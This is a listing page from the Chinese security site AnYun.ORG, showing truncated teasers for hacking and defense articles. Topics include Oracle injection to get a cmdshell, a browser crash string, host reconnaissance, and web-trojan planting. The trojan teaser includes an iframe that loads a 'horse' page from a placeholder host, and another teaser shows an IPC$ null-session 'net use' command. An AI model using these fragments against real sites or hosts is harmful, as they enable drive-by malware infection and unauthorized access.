安云网 – AnYun.ORG

犀利的 oracle 注入技术 　　原文发表在黑客手册 　　linx 2008.1.12 　　介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。 　　以下的演示都是在web上的...

用Google浏览器浏览此篇文章，并点击下面的字符： 　　EVIL:% 　　是不是很爽，^_^。

今天的内容是获得主机的信息。 我们要黑一台主机，首先要了解它的信息，　　包括它的类型，用户列表，目录，端口，漏洞等等。　　首先我们我们要找一台主机来练手，随便挑吧！www.dddd.com(乱说的)第...

1，挂马的N种方法 　　(1) HTML挂马法。 　　常规的HTML挂马方法一般是在网页中插入一条iframe语句，像<iframe src=http://www.xxx.com/horse.h...

　Win2k的缺省安装很容易被攻击者取得帐号列表，即使安装了最新的Service ack也是如此。 　　方案一 　　1.打补丁 　　微软的作风就是三天一小补，五天一大补，漏洞太多，补一点就好一点，使用...

　　net use\\192.168.0.1\ipc$Content$nbsp;"" /user:administrator 　　提到139端口，我想知道的人一定非常多，本来是不想...

　　应用程序级的安全漏洞通常不会像类似SirCam的邮件病毒或者诸如Code Red这样的蠕虫病毒那么容易广为扩散，但它们也同样会造成很多问题，从窃取产品或信息到使整个Web站点完全瘫痪。确保网站we...

　对于进程这个概念，许多电脑用户都没有给予太多关注。在很多人印象里，只知道结束进程可以杀死程序，至于哪些进程对应哪些程序，究竟什么样的进程该杀，什么样的进程不能杀这些问题很少考虑。这里通过几个实例为大...

     看了你昨天的留言，我才知道原来木马可以用这么多方式传播呀。那我想问你一件事，常在河边走，哪有不湿鞋，你经常黑别人，难道就没有被别人黑过吗?你是怎么防范...

　第一招:屏幕保护 　　在Windows中启用了屏幕保护之后，只要我们离开计算机(或者不操作计算机)的时间达到预设的时间，系统就会自动启动屏幕保护程序，而当用户移动鼠标或敲击键盘想返回正常工作状态时，...